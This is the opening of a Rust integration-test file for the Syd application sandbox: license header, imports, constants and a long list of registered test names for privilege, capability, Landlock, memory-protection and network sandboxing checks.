//
// Syd: rock-solid application kernel
// src/test/test.rs: Integration tests
//
// Copyright (c) 2023, 2024, 2025, 2026 Ali Polatel <alip@chesswob.org>
// setup_openat2_test() is based in part on
// Linux' tools/testing/selftests/openat2/resolve_test.c which is:
//   Author: Aleksa Sarai <cyphar@cyphar.com>
//   Copyright (C) 2018-2019 SUSE LLC.
//   SPDX-License-Identifier: GPL-2.0-or-later
// test_syd_stat_after_rename_dir_4 is based in part on
// "keep-directory-symlink" test from GNU tar's test suite which is:
//   Copyright 2017-2025 Free Software Foundation, Inc.
//   SPDX-License-Identifier: GPL-3.0-or-later
//
// SPDX-License-Identifier: GPL-3.0

#![allow(non_snake_case)]
#![allow(clippy::disallowed_methods)]
#![allow(clippy::disallowed_types)]
#![allow(clippy::literal_string_with_formatting_args)]

use std::{
    env,
    ffi::OsStr,
    fs::{create_dir_all, metadata, read_to_string, File},
    io::{BufRead, BufReader, Read, Write},
    os::{
        fd::{AsRawFd, FromRawFd, OwnedFd},
        unix::{
            ffi::OsStrExt,
            fs::{symlink, PermissionsExt},
            process::ExitStatusExt,
        },
    },
    path::Path,
    process::{Command, Stdio},
    thread::sleep,
    time::Duration,
};

use data_encoding::{HEXLOWER, HEXLOWER_PERMISSIVE};
use libc::{
    EACCES, EAFNOSUPPORT, EILSEQ, EINVAL, ENOEXEC, ENOMEM, ENOSYS, EOWNERDEAD, EPERM, ESRCH,
};
use nix::{
    errno::Errno,
    fcntl::{open, openat, readlink, OFlag},
    mount::{mount, MsFlags},
    sched::{unshare, CloneFlags},
    sys::{
        signal::{kill, SaFlags, Signal},
        socket::{
            accept, bind, listen, socket, AddressFamily, Backlog, SockFlag, SockType, UnixAddr,
        },
        stat::{mkdirat, mknod, umask, Mode, SFlag},
    },
    unistd::{
        close, dup2, fchdir, fork, getgid, getuid, mkdir, pipe, symlinkat, sysconf, unlink,
        ForkResult, Pid, SysconfVar, Uid,
    },
    NixPath,
};
use serde_json::Value;
use syd::{
    compat::{MFdFlags, MsgFlags, Persona},
    config::*,
    err::SydResult,
    fd::set_cloexec,
    fs::grep,
    hash::{add_key, HashAlgorithm, Key, KeySerial, KEY_SPEC_USER_KEYRING},
    path::{XPath, XPathBuf},
    rng::randport,
    spec::{speculation_get, SpeculationFeature},
    unshare::{GidMap, UidMap},
};

use crate::{assert, assert_eq, assert_ne, util::*, *};

const EX_SIGIOT: i32 = 128 + libc::SIGIOT;
const EX_SIGKILL: i32 = 128 + libc::SIGKILL;
const EX_SIGSEGV: i32 = 128 + libc::SIGSEGV;

const NONE: &[&str] = &[];

// All modes where `(mode & 0o177) == 0` (i.e. only owner bits set)
#[cfg(not(target_os = "android"))]
static SHM_ALLOWED_MODES: std::sync::LazyLock<Vec<u32>> =
    std::sync::LazyLock::new(|| (0..=0o777).filter(|m| m & 0o177 == 0).collect());

// All modes where `(mode & 0o177) != 0` (i.e. any group/other bit set)
#[cfg(not(target_os = "android"))]
static SHM_DENIED_MODES: std::sync::LazyLock<Vec<u32>> =
    std::sync::LazyLock::new(|| (0..=0o777).filter(|m| m & 0o177 != 0).collect());

/// Represents a test case.
pub type Test<'a> = (&'a str, fn() -> TestResult);

macro_rules! test_entry {
    ($func:expr) => {
        (stringify!($func), $func)
    };
}

/// List of integration tests.
pub const TESTS: &[Test] = &[
    test_entry!(test_syd_version),
    test_entry!(test_syd_export_syntax_1),
    test_entry!(test_syd_export_syntax_2),
    test_entry!(test_syd_export_syntax_3),
    test_entry!(test_syd_export_syntax_4),
    test_entry!(test_syd_export_syntax_5),
    test_entry!(test_syd_export_syntax_6),
    test_entry!(test_syd_export_syntax_7),
    test_entry!(test_syd_export_sanity_parent),
    test_entry!(test_syd_export_sanity_socket),
    test_entry!(test_syd_export_sanity_waiter),
    test_entry!(test_syd_export_sanity_process),
    test_entry!(test_syd_export_sanity_monitor),
    test_entry!(test_syd_config_environment_simple),
    test_entry!(test_syd_config_environment_override_simple),
    test_entry!(test_syd_config_environment_override_with_default_unset),
    test_entry!(test_syd_config_environment_override_with_default_clear),
    test_entry!(test_syd_config_environment_deny_set),
    test_entry!(test_syd_config_environment_deny_unset),
    test_entry!(test_syd_config_environment_filter_clear),
    test_entry!(test_syd_config_environment_deny_live_set),
    test_entry!(test_syd_config_environment_deny_live_unset),
    test_entry!(test_syd_config_environment_deny_live_clear),
    test_entry!(test_syd_log_fd_validate),
    test_entry!(test_syd_true_returns_success),
    test_entry!(test_syd_true_returns_success_with_many_processes),
    test_entry!(test_syd_true_returns_success_with_many_threads),
    test_entry!(test_syd_false_returns_failure),
    test_entry!(test_syd_true_returns_failure_with_many_processes),
    test_entry!(test_syd_true_returns_failure_with_many_threads),
    test_entry!(test_syd_at_execve_check),
    test_entry!(test_syd_empty_file_returns_enoexec),
    test_entry!(test_syd_non_executable_file_returns_eacces_empty),
    test_entry!(test_syd_non_executable_file_returns_eacces_binary),
    test_entry!(test_syd_non_executable_file_returns_eacces_script),
    test_entry!(test_syd_sigint_returns_130),
    test_entry!(test_syd_sigabrt_returns_134),
    test_entry!(test_syd_sigkill_returns_137),
    test_entry!(test_syd_reap_zombies_bare),
    test_entry!(test_syd_reap_zombies_wrap),
    test_entry!(test_syd_timeout),
    test_entry!(test_syd_whoami_returns_root_fake),
    test_entry!(test_syd_whoami_returns_root_user),
    test_entry!(test_syd_uts_sethostname_default),
    test_entry!(test_syd_uts_sethostname_unshare),
    test_entry!(test_syd_uts_setdomainname_default),
    test_entry!(test_syd_uts_setdomainname_unshare),
    test_entry!(test_syd_0_setuid_nobody_default),
    test_entry!(test_syd_0_setuid_nobody_safesetid_deny),
    test_entry!(test_syd_0_setuid_root_safesetid_deny),
    test_entry!(test_syd_0_setuid_nobody_safesetid_allow),
    test_entry!(test_syd_0_setgid_nobody_default),
    test_entry!(test_syd_0_setgid_nobody_safesetid_deny),
    test_entry!(test_syd_0_setgid_root_safesetid_deny),
    test_entry!(test_syd_0_setgid_nobody_safesetid_allow),
    test_entry!(test_syd_0_setreuid_nobody_default_1),
    test_entry!(test_syd_0_setreuid_nobody_default_2),
    test_entry!(test_syd_0_setreuid_nobody_default_3),
    test_entry!(test_syd_0_setreuid_nobody_safesetid_deny_1),
    test_entry!(test_syd_0_setreuid_nobody_safesetid_deny_2),
    test_entry!(test_syd_0_setreuid_nobody_safesetid_deny_3),
    test_entry!(test_syd_0_setreuid_root_safesetid_deny_1),
    test_entry!(test_syd_0_setreuid_root_safesetid_deny_2),
    test_entry!(test_syd_0_setreuid_root_safesetid_deny_3),
    test_entry!(test_syd_0_setreuid_nobody_safesetid_allow_1),
    test_entry!(test_syd_0_setreuid_nobody_safesetid_allow_2),
    test_entry!(test_syd_0_setreuid_nobody_safesetid_allow_3),
    test_entry!(test_syd_0_setregid_nobody_default_1),
    test_entry!(test_syd_0_setregid_nobody_default_2),
    test_entry!(test_syd_0_setregid_nobody_default_3),
    test_entry!(test_syd_0_setregid_nobody_safesetid_deny_1),
    test_entry!(test_syd_0_setregid_nobody_safesetid_deny_2),
    test_entry!(test_syd_0_setregid_nobody_safesetid_deny_3),
    test_entry!(test_syd_0_setregid_root_safesetid_deny_1),
    test_entry!(test_syd_0_setregid_root_safesetid_deny_2),
    test_entry!(test_syd_0_setregid_root_safesetid_deny_3),
    test_entry!(test_syd_0_setregid_nobody_safesetid_allow_1),
    test_entry!(test_syd_0_setregid_nobody_safesetid_allow_2),
    test_entry!(test_syd_0_setregid_nobody_safesetid_allow_3),
    test_entry!(test_syd_0_setresuid_nobody_default_1),
    test_entry!(test_syd_0_setresuid_nobody_default_2),
    test_entry!(test_syd_0_setresuid_nobody_default_3),
    test_entry!(test_syd_0_setresuid_nobody_default_4),
    test_entry!(test_syd_0_setresuid_nobody_default_5),
    test_entry!(test_syd_0_setresuid_nobody_default_6),
    test_entry!(test_syd_0_setresuid_nobody_default_7),
    test_entry!(test_syd_0_setresuid_nobody_safesetid_deny_1),
    test_entry!(test_syd_0_setresuid_nobody_safesetid_deny_2),
    test_entry!(test_syd_0_setresuid_nobody_safesetid_deny_3),
    test_entry!(test_syd_0_setresuid_nobody_safesetid_deny_4),
    test_entry!(test_syd_0_setresuid_nobody_safesetid_deny_5),
    test_entry!(test_syd_0_setresuid_nobody_safesetid_deny_6),
    test_entry!(test_syd_0_setresuid_nobody_safesetid_deny_7),
    test_entry!(test_syd_0_setresuid_root_safesetid_deny_1),
    test_entry!(test_syd_0_setresuid_root_safesetid_deny_2),
    test_entry!(test_syd_0_setresuid_root_safesetid_deny_3),
    test_entry!(test_syd_0_setresuid_root_safesetid_deny_4),
    test_entry!(test_syd_0_setresuid_root_safesetid_deny_5),
    test_entry!(test_syd_0_setresuid_root_safesetid_deny_6),
    test_entry!(test_syd_0_setresuid_root_safesetid_deny_7),
    test_entry!(test_syd_0_setresuid_nobody_safesetid_allow_1),
    test_entry!(test_syd_0_setresuid_nobody_safesetid_allow_2),
    test_entry!(test_syd_0_setresuid_nobody_safesetid_allow_3),
    test_entry!(test_syd_0_setresuid_nobody_safesetid_allow_4),
    test_entry!(test_syd_0_setresuid_nobody_safesetid_allow_5),
    test_entry!(test_syd_0_setresuid_nobody_safesetid_allow_6),
    test_entry!(test_syd_0_setresuid_nobody_safesetid_allow_7),
    test_entry!(test_syd_0_setresgid_nobody_default_1),
    test_entry!(test_syd_0_setresgid_nobody_default_2),
    test_entry!(test_syd_0_setresgid_nobody_default_3),
    test_entry!(test_syd_0_setresgid_nobody_default_4),
    test_entry!(test_syd_0_setresgid_nobody_default_5),
    test_entry!(test_syd_0_setresgid_nobody_default_6),
    test_entry!(test_syd_0_setresgid_nobody_default_7),
    test_entry!(test_syd_0_setresgid_nobody_safesetid_deny_1),
    test_entry!(test_syd_0_setresgid_nobody_safesetid_deny_2),
    test_entry!(test_syd_0_setresgid_nobody_safesetid_deny_3),
    test_entry!(test_syd_0_setresgid_nobody_safesetid_deny_4),
    test_entry!(test_syd_0_setresgid_nobody_safesetid_deny_5),
    test_entry!(test_syd_0_setresgid_nobody_safesetid_deny_6),
    test_entry!(test_syd_0_setresgid_nobody_safesetid_deny_7),
    test_entry!(test_syd_0_setresgid_root_safesetid_deny_1),
    test_entry!(test_syd_0_setresgid_root_safesetid_deny_2),
    test_entry!(test_syd_0_setresgid_root_safesetid_deny_3),
    test_entry!(test_syd_0_setresgid_root_safesetid_deny_4),
    test_entry!(test_syd_0_setresgid_root_safesetid_deny_5),
    test_entry!(test_syd_0_setresgid_root_safesetid_deny_6),
    test_entry!(test_syd_0_setresgid_root_safesetid_deny_7),
    test_entry!(test_syd_0_setresgid_nobody_safesetid_allow_1),
    test_entry!(test_syd_0_setresgid_nobody_safesetid_allow_2),
    test_entry!(test_syd_0_setresgid_nobody_safesetid_allow_3),
    test_entry!(test_syd_0_setresgid_nobody_safesetid_allow_4),
    test_entry!(test_syd_0_setresgid_nobody_safesetid_allow_5),
    test_entry!(test_syd_0_setresgid_nobody_safesetid_allow_6),
    test_entry!(test_syd_0_setresgid_nobody_safesetid_allow_7),
    test_entry!(test_syd_0_drop_cap_sys_ptrace_exec_default),
    test_entry!(test_syd_0_drop_cap_sys_ptrace_exec_unsafe_caps),
    test_entry!(test_syd_0_drop_cap_sys_ptrace_exec_unsafe_ptrace),
    test_entry!(test_syd_0_drop_cap_chown_exec_default),
    test_entry!(test_syd_0_drop_cap_chown_exec_unsafe),
    test_entry!(test_syd_0_drop_cap_chown_exec_allow_unsafe),
    test_entry!(test_syd_0_drop_cap_setgid_exec_default),
    test_entry!(test_syd_0_drop_cap_setgid_exec_unsafe),
    test_entry!(test_syd_0_drop_cap_setgid_exec_safesetid),
    test_entry!(test_syd_0_drop_cap_setuid_exec_default),
    test_entry!(test_syd_0_drop_cap_setuid_exec_unsafe),
    test_entry!(test_syd_0_drop_cap_setuid_exec_safesetid),
    test_entry!(test_syd_0_drop_cap_net_bind_service_exec_default),
    test_entry!(test_syd_0_drop_cap_net_bind_service_exec_unsafe_caps),
    test_entry!(test_syd_0_drop_cap_net_bind_service_exec_unsafe_bind),
    test_entry!(test_syd_0_drop_cap_net_raw_exec_default),
    test_entry!(test_syd_0_drop_cap_net_raw_exec_unsafe_caps),
    test_entry!(test_syd_0_drop_cap_net_raw_exec_unsafe_socket),
    test_entry!(test_syd_0_drop_cap_sys_time_exec_default),
    test_entry!(test_syd_0_drop_cap_sys_time_exec_unsafe_caps),
    test_entry!(test_syd_0_drop_cap_sys_time_exec_unsafe_time),
    test_entry!(test_syd_0_drop_cap_syslog_exec_default),
    test_entry!(test_syd_0_drop_cap_syslog_exec_unsafe_caps),
    test_entry!(test_syd_0_drop_cap_syslog_exec_unsafe_syslog),
    test_entry!(test_syd_userns_drop_cap_sys_ptrace_exec_default),
    test_entry!(test_syd_userns_drop_cap_sys_ptrace_exec_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_sys_ptrace_exec_unsafe_ptrace),
    test_entry!(test_syd_userns_drop_cap_chown_exec_default),
    test_entry!(test_syd_userns_drop_cap_chown_exec_unsafe),
    test_entry!(test_syd_userns_drop_cap_chown_exec_allow_unsafe),
    test_entry!(test_syd_userns_drop_cap_setgid_exec_default),
    test_entry!(test_syd_userns_drop_cap_setgid_exec_unsafe),
    test_entry!(test_syd_userns_drop_cap_setgid_exec_safesetid),
    test_entry!(test_syd_userns_drop_cap_setuid_exec_default),
    test_entry!(test_syd_userns_drop_cap_setuid_exec_unsafe),
    test_entry!(test_syd_userns_drop_cap_setuid_exec_safesetid),
    test_entry!(test_syd_userns_drop_cap_net_bind_service_exec_default),
    test_entry!(test_syd_userns_drop_cap_net_bind_service_exec_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_net_bind_service_exec_unsafe_bind),
    test_entry!(test_syd_userns_drop_cap_net_raw_exec_default),
    test_entry!(test_syd_userns_drop_cap_net_raw_exec_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_net_raw_exec_unsafe_socket),
    test_entry!(test_syd_userns_drop_cap_sys_time_exec_default),
    test_entry!(test_syd_userns_drop_cap_sys_time_exec_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_sys_time_exec_unsafe_time),
    test_entry!(test_syd_userns_drop_cap_syslog_exec_default),
    test_entry!(test_syd_userns_drop_cap_syslog_exec_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_syslog_exec_unsafe_syslog),
    test_entry!(test_syd_landlock_dotdot_deny),
    test_entry!(test_syd_landlock_magiclink_deny),
    test_entry!(test_syd_landlock_read_restrictions_allow),
    test_entry!(test_syd_landlock_read_restrictions_deny),
    test_entry!(test_syd_landlock_read_restrictions_list),
    test_entry!(test_syd_landlock_write_restrictions_allow),
    test_entry!(test_syd_landlock_write_restrictions_deny),
    test_entry!(test_syd_landlock_write_restrictions_list),
    test_entry!(test_syd_landlock_write_via_proc_reopen_restrictions_allow),
    test_entry!(test_syd_landlock_write_via_proc_reopen_restrictions_deny),
    test_entry!(test_syd_landlock_write_via_proc_reopen_restrictions_list),
    test_entry!(test_syd_landlock_bind_restrictions_allow),
    test_entry!(test_syd_landlock_bind_restrictions_deny),
    test_entry!(test_syd_landlock_bind_restrictions_list),
    test_entry!(test_syd_landlock_connect_restrictions_allow),
    test_entry!(test_syd_landlock_connect_restrictions_deny),
    test_entry!(test_syd_landlock_connect_restrictions_list),
    test_entry!(test_syd_landlock_ioctl_restrictions_allow),
    test_entry!(test_syd_landlock_ioctl_restrictions_deny),
    test_entry!(test_syd_landlock_ioctl_restrictions_pty_allow_1),
    test_entry!(test_syd_landlock_ioctl_restrictions_pty_allow_2),
    test_entry!(test_syd_landlock_ioctl_restrictions_pty_deny_1),
    test_entry!(test_syd_landlock_ioctl_restrictions_pty_deny_2),
    test_entry!(test_syd_landlock_abstract_unix_socket_restrictions_allow),
    test_entry!(test_syd_landlock_abstract_unix_socket_restrictions_deny),
    test_entry!(test_syd_landlock_signal_restrictions_allow),
    test_entry!(test_syd_landlock_signal_restrictions_deny),
    test_entry!(test_syd_socket_domain_restrictions),
    test_entry!(test_syd_xattr_name_restrictions_get_default),
    test_entry!(test_syd_xattr_name_restrictions_get_lockoff),
    test_entry!(test_syd_xattr_name_restrictions_set_default),
    test_entry!(test_syd_xattr_name_restrictions_set_lockoff),
    test_entry!(test_syd_xattr_name_restrictions_lst_default),
    test_entry!(test_syd_xattr_name_restrictions_lst_lockoff),
    test_entry!(test_syd_xattr_getxattrat_path_linux),
    test_entry!(test_syd_xattr_getxattrat_file_linux),
    test_entry!(test_syd_xattr_getxattrat_path_syd_default),
    test_entry!(test_syd_xattr_getxattrat_path_syd_lockoff),
    test_entry!(test_syd_xattr_getxattrat_file_syd_default),
    test_entry!(test_syd_xattr_getxattrat_file_syd_lockoff),
    test_entry!(test_syd_xattr_setxattrat_path_linux),
    test_entry!(test_syd_xattr_setxattrat_file_linux),
    test_entry!(test_syd_xattr_setxattrat_path_syd_default),
    test_entry!(test_syd_xattr_setxattrat_path_syd_lockoff),
    test_entry!(test_syd_xattr_setxattrat_file_syd_default),
    test_entry!(test_syd_xattr_setxattrat_file_syd_lockoff),
    test_entry!(test_syd_xattr_listxattrat_path_linux),
    test_entry!(test_syd_xattr_listxattrat_file_linux),
    test_entry!(test_syd_xattr_listxattrat_path_syd_default),
    test_entry!(test_syd_xattr_listxattrat_path_syd_lockoff),
    test_entry!(test_syd_xattr_listxattrat_file_syd_default),
    test_entry!(test_syd_xattr_listxattrat_file_syd_lockoff),
    test_entry!(test_syd_xattr_removexattrat_path_linux),
    test_entry!(test_syd_xattr_removexattrat_file_linux),
    test_entry!(test_syd_xattr_removexattrat_path_syd_default),
    test_entry!(test_syd_xattr_removexattrat_path_syd_lockoff),
    test_entry!(test_syd_xattr_removexattrat_file_syd_default),
    test_entry!(test_syd_xattr_removexattrat_file_syd_lockoff),
    #[cfg(not(target_os = "android"))]
    test_entry!(test_syd_shm_harden_shmat),
    #[cfg(not(target_os = "android"))]
    test_entry!(test_syd_shm_harden_shmget),
    #[cfg(not(target_os = "android"))]
    test_entry!(test_syd_shm_harden_msgget),
    #[cfg(not(target_os = "android"))]
    test_entry!(test_syd_shm_harden_semget),
    #[cfg(not(target_os = "android"))]
    test_entry!(test_syd_shm_harden_mq_open),
    test_entry!(test_syd_proc_pid_status_filter),
    test_entry!(test_syd_environment_filter_arg),
    test_entry!(test_syd_environment_filter_syd),
    test_entry!(test_syd_environment_harden),
    test_entry!(test_syd_environment_backtrace),
    test_entry!(test_syd_restrict_create),
    test_entry!(test_syd_restrict_hardlinks),
    test_entry!(test_syd_restrict_symlinks),
    test_entry!(test_syd_lock),
    test_entry!(test_syd_lock_exec),
    test_entry!(test_syd_lock_ipc_unix),
    test_entry!(test_syd_lock_ipc_uabs),
    test_entry!(test_syd_lock_ipc_auth),
    test_entry!(test_syd_lock_ipc_rate),
    test_entry!(test_syd_lock_prevents_further_cli_args),
    test_entry!(test_syd_lock_prevents_further_cfg_items),
    test_entry!(test_syd_lock_prevents_further_inc_items),
    test_entry!(test_syd_dns_resolve_host_unspec),
    test_entry!(test_syd_dns_resolve_host_ipv4),
    test_entry!(test_syd_dns_resolve_host_ipv6),
    test_entry!(test_syd_ofd),
    #[cfg(not(target_os = "android"))]
    test_entry!(test_syd_wordexp),
    test_entry!(test_syd_cmd_exec_with_lock_default),
    test_entry!(test_syd_cmd_exec_with_lock_on),
    test_entry!(test_syd_cmd_exec_with_lock_off_1),
    test_entry!(test_syd_cmd_exec_with_lock_off_2),
    test_entry!(test_syd_cmd_exec_with_lock_exec_1),
    test_entry!(test_syd_cmd_exec_with_lock_exec_2),
    test_entry!(test_syd_parse_config),
    test_entry!(test_syd_include_config),
    test_entry!(test_syd_shellexpand_01),
    test_entry!(test_syd_shellexpand_02),
    test_entry!(test_syd_shellexpand_03),
    test_entry!(test_syd_shellexpand_04),
    test_entry!(test_syd_personality_uname26),
    test_entry!(test_syd_personality_read_implies_exec),
    test_entry!(test_syd_personality_addr_no_randomize),
    test_entry!(test_syd_personality_addr_compat_layout),
    test_entry!(test_syd_personality_mmap_page_zero),
    test_entry!(test_syd_mdwe_personality_read_implies_exec),
    test_entry!(test_syd_mdwe_personality_addr_no_randomize),
    test_entry!(test_syd_mdwe_mmap_prot_read_exec_with_map_anonymous),
    test_entry!(test_syd_mdwe_mmap_prot_write_exec_with_map_anonymous),
    test_entry!(test_syd_mdwe_mmap_fixed_null),
    test_entry!(test_syd_mdwe_mprotect_read_to_exec),
    test_entry!(test_syd_mdwe_mprotect_read_to_write_exec),
    test_entry!(test_syd_mdwe_mprotect_write_to_exec),
    test_entry!(test_syd_mdwe_mprotect_write_to_read_exec),
    test_entry!(test_syd_mdwe_mprotect_exe),
    test_entry!(test_syd_mdwe_mprotect_jit),
    test_entry!(test_syd_mdwe_enforce_execstack_nested_routine),
    test_entry!(test_syd_mdwe_enforce_execstack_self_modifying),
    test_entry!(test_syd_mdwe_enforce_mprotect_self_modifying),
    test_entry!(test_syd_log_proc_setname_read),
    test_entry!(test_syd_log_proc_setname_filter),
    test_entry!(test_syd_cap_basic),
    test_entry!(test_syd_cap_unshare),
    test_entry!(test_syd_set_at_secure_default),
    test_entry!(test_syd_set_at_secure_unsafe),
    test_entry!(test_syd_set_at_secure_off),
    test_entry!(test_syd_set_at_secure_max),
    test_entry!(test_syd_randomize_sysinfo),
    test_entry!(test_syd_mmap_prot_read_exec_with_map_anonymous),
    test_entry!(test_syd_mmap_prot_write_exec_with_map_anonymous),
    test_entry!(test_syd_mmap_prot_read_exec_with_backing_file),
    test_entry!(test_syd_mmap_prot_write_exec_with_backing_file),
    test_entry!(test_syd_mmap_prot_exec_rdwr_fd),
    test_entry!(test_syd_mmap_fixed_null),
    test_entry!(test_syd_mprotect_read_to_exec),
    test_entry!(test_syd_mprotect_read_to_write_exec),
    test_entry!(test_syd_mprotect_write_to_exec),
    test_entry!(test_syd_mprotect_write_to_read_exec),
    test_entry!(test_syd_mprotect_exe),
    test_entry!(test_syd_mprotect_jit),
    test_entry!(test_syd_mdwe_bypass_linux_bug_219227),
    test_entry!(test_syd_mfd_exec_default),
    test_entry!(test_syd_mfd_exec_unsafe),
    test_entry!(test_syd_mfd_acl_create_1),
    test_entry!(test_syd_mfd_acl_create_2),
    test_entry!(test_syd_mfd_acl_create_3),
    test_entry!(test_syd_mfd_acl_create_4),
    test_entry!(test_syd_mfd_acl_create_5),
    test_entry!(test_syd_mfd_acl_exec_1),
    test_entry!(test_syd_mfd_acl_exec_2),
    test_entry!(test_syd_mfd_acl_exec_3),
    test_entry!(test_syd_mfd_acl_exec_4),
    test_entry!(test_syd_mfd_acl_exec_5),
    test_entry!(test_syd_mfd_acl_ftruncate_1),
    test_entry!(test_syd_mfd_acl_ftruncate_2),
    test_entry!(test_syd_mfd_acl_ftruncate_3),
    test_entry!(test_syd_mfd_acl_ftruncate_4),
    test_entry!(test_syd_mfd_acl_ftruncate_5),
    test_entry!(test_syd_mfd_copy_from_proc_version),
    test_entry!(test_syd_mfd_copy_from_proc_sys_kernel_osrelease),
    test_entry!(test_syd_mfd_copy_from_proc_self_status),
    test_entry!(test_syd_mfd_copy_from_etc_machine_id),
    test_entry!(test_syd_mfd_readlink_proc_version),
    test_entry!(test_syd_mfd_readlink_proc_sys_kernel_osrelease),
    test_entry!(test_syd_mfd_readlink_proc_self_status),
    test_entry!(test_syd_mfd_readlink_etc_machine_id),
    test_entry!(test_syd_replace_proc_self_stat_allow),
    test_entry!(test_syd_replace_proc_self_stat_deny),
    test_entry!(test_syd_replace_proc_self_stat_kill),
    test_entry!(test_syd_replace_proc_self_stat_abort),
    test_entry!(test_syd_replace_proc_self_chdir_allow),
    test_entry!(test_syd_replace_proc_self_chdir_deny),
    test_entry!(test_syd_replace_proc_self_chdir_kill),
    test_entry!(test_syd_replace_proc_self_chdir_abort),
    test_entry!(test_syd_mknod_bdev_1),
    test_entry!(test_syd_mknod_bdev_2),
    test_entry!(test_syd_0_mknod_bdev_3),
    test_entry!(test_syd_mknod_cdev_1),
    test_entry!(test_syd_mknod_cdev_2),
    test_entry!(test_syd_0_mknod_cdev_3),
    test_entry!(test_syd_mknodat_bdev_1),
    test_entry!(test_syd_mknodat_bdev_2),
    test_entry!(test_syd_mknodat_bdev_3),
    test_entry!(test_syd_mknodat_cdev_1),
    test_entry!(test_syd_mknodat_cdev_2),
    test_entry!(test_syd_0_mknodat_cdev_3),
    test_entry!(test_syd_nftw_dev),
    test_entry!(test_syd_nftw_proc),
    test_entry!(test_syd_stat_write_to_non_writable_linux),
    test_entry!(test_syd_stat_write_to_non_writable_default),
    test_entry!(test_syd_stat_write_to_non_writable_procmem),
    test_entry!(test_syd_stat_write_to_read_exec_linux),
    test_entry!(test_syd_stat_write_to_read_exec_default),
    test_entry!(test_syd_stat_write_to_read_exec_procmem),
    test_entry!(test_syd_stat_compare_root_inode_1),
    test_entry!(test_syd_stat_compare_root_inode_2),
    test_entry!(test_syd_exec_program_check_fd_leaks_bare),
    test_entry!(test_syd_exec_program_check_fd_leaks_wrap),
    test_entry!(test_syd_read_sandbox_open_allow),
    test_entry!(test_syd_read_sandbox_open_deny),
    test_entry!(test_syd_chdir_sandbox_allow_1),
    test_entry!(test_syd_chdir_sandbox_allow_2),
    test_entry!(test_syd_chdir_sandbox_hide_1),
    test_entry!(test_syd_chdir_sandbox_hide_2),
    test_entry!(test_syd_chroot_sandbox_allow_default),
    test_entry!(test_syd_chroot_sandbox_allow_unsafe),
    test_entry!(test_syd_chroot_sandbox_deny),
    test_entry!(test_syd_chroot_sandbox_hide),
    test_entry!(test_syd_pivot_root_default),
    test_entry!(test_syd_pivot_root_unsafe),
    test_entry!(test_syd_stat_sandbox_stat_allow),
    test_entry!(test_syd_stat_sandbox_stat_hide),
    test_entry!(test_syd_readdir_sandbox_getdents_allow),
    test_entry!(test_syd_readdir_sandbox_getdents_hide),
    test_entry!(test_syd_stat_bypass_with_read),
    test_entry!(test_syd_stat_bypass_with_write),
    test_entry!(test_syd_stat_bypass_with_exec),
    test_entry!(test_syd_write_sandbox_open_allow),
    test_entry!(test_syd_write_sandbox_open_deny),
    test_entry!(test_syd_exec_sandbox_open_allow),
    test_entry!(test_syd_exec_sandbox_open_deny),
    test_entry!(test_syd_exec_sandbox_deny_binfmt_script),
    test_entry!(test_syd_exec_sandbox_many_binfmt_script),
    test_entry!(test_syd_exec_sandbox_mmap_exec_private_1),
    test_entry!(test_syd_exec_sandbox_mmap_exec_private_2),
    test_entry!(test_syd_exec_sandbox_mmap_shared_nonexec_1),
    test_entry!(test_syd_exec_sandbox_mmap_shared_nonexec_2),
    test_entry!(test_syd_exec_sandbox_prevent_library_injection_dlopen_bare),
    test_entry!(test_syd_exec_sandbox_prevent_library_injection_dlopen_wrap),
    test_entry!(test_syd_exec_sandbox_prevent_library_injection_LD_LIBRARY_PATH),
    test_entry!(test_syd_exec_sandbox_prevent_library_injection_LD_PRELOAD_safe),
    test_entry!(test_syd_exec_sandbox_prevent_library_injection_LD_PRELOAD_unsafe),
    test_entry!(test_syd_network_sandbox_accept_ipv4),
    test_entry!(test_syd_network_sandbox_accept_ipv6),
    test_entry!(test_syd_network_sandbox_connect_ipv4_allow),
    test_entry!(test_syd_network_sandbox_connect_ipv4_deny),
    test_entry!(test_syd_network_sandbox_connect_ipv6_allow),
    test_entry!(test_syd_network_sandbox_connect_ipv6_deny),
    test_entry!(test_syd_network_sandbox_allow_safe_bind_ipv4_failure),
    test_entry!(test_syd_network_sandbox_allow_safe_bind_ipv4_success),
    test_entry!(test_syd_network_sandbox_allow_safe_bind_ipv6_failure),
    test_entry!(test_syd_network_sandbox_allow_safe_bind_ipv6_success),
    test_entry!(test_syd_handle_toolong_unix_connect),
    test_entry!(test_syd_handle_toolong_unix_sendto),
    test_entry!(test_syd_handle_toolong_unix_sendmsg),
    test_entry!(test_syd_sendmsg_scm_credentials_one_linux),
    test_entry!(test_syd_sendmsg_scm_credentials_many_linux),
    test_entry!(test_syd_sendmsg_scm_credentials_one_sydbox),
    test_entry!(test_syd_sendmsg_scm_credentials_many_sydbox),
    test_entry!(test_syd_sendmsg_scm_rights_one),
    test_entry!(test_syd_sendmsg_scm_rights_many),
    test_entry!(test_syd_sendmmsg),
    test_entry!(test_syd_sendto_sigpipe_unix_stream_1),
    test_entry!(test_syd_sendto_sigpipe_unix_stream_2),
    test_entry!(test_syd_sendto_sigpipe_unix_stream_3),
    test_entry!(test_syd_sendto_sigpipe_unix_stream_4),
    test_entry!(test_syd_sendto_sigpipe_unix_stream_5),
    test_entry!(test_syd_sendto_sigpipe_unix_stream_6),
    test_entry!(test_syd_sendmsg_sigpipe_unix_stream_1),
    test_entry!(test_syd_sendmsg_sigpipe_unix_stream_2),
    test_entry!(test_syd_sendmsg_sigpipe_unix_stream_3),
    test_entry!(test_syd_sendmsg_sigpipe_unix_stream_4),
    test_entry!(test_syd_sendmsg_sigpipe_unix_stream_5),
    test_entry!(test_syd_sendmsg_sigpipe_unix_stream_6),
    test_entry!(test_syd_sendmmsg_sigpipe_unix_stream_1),
    test_entry!(test_syd_sendmmsg_sigpipe_unix_stream_2),
    test_entry!(test_syd_sendmmsg_sigpipe_unix_stream_3),
    test_entry!(test_syd_sendmmsg_sigpipe_unix_stream_4),
    test_entry!(test_syd_sendmmsg_sigpipe_unix_stream_5),
    test_entry!(test_syd_sendmmsg_sigpipe_unix_stream_6),
    test_entry!(test_syd_appendonly_prevent_clobber),
    test_entry!(test_syd_appendonly_prevent_removal),
    test_entry!(test_syd_appendonly_prevent_rename),
    test_entry!(test_syd_appendonly_prevent_truncate),
    test_entry!(test_syd_appendonly_prevent_ftruncate),
    test_entry!(test_syd_appendonly_prevent_fcntl),
    test_entry!(test_syd_appendonly_prevent_pwritev2_1),
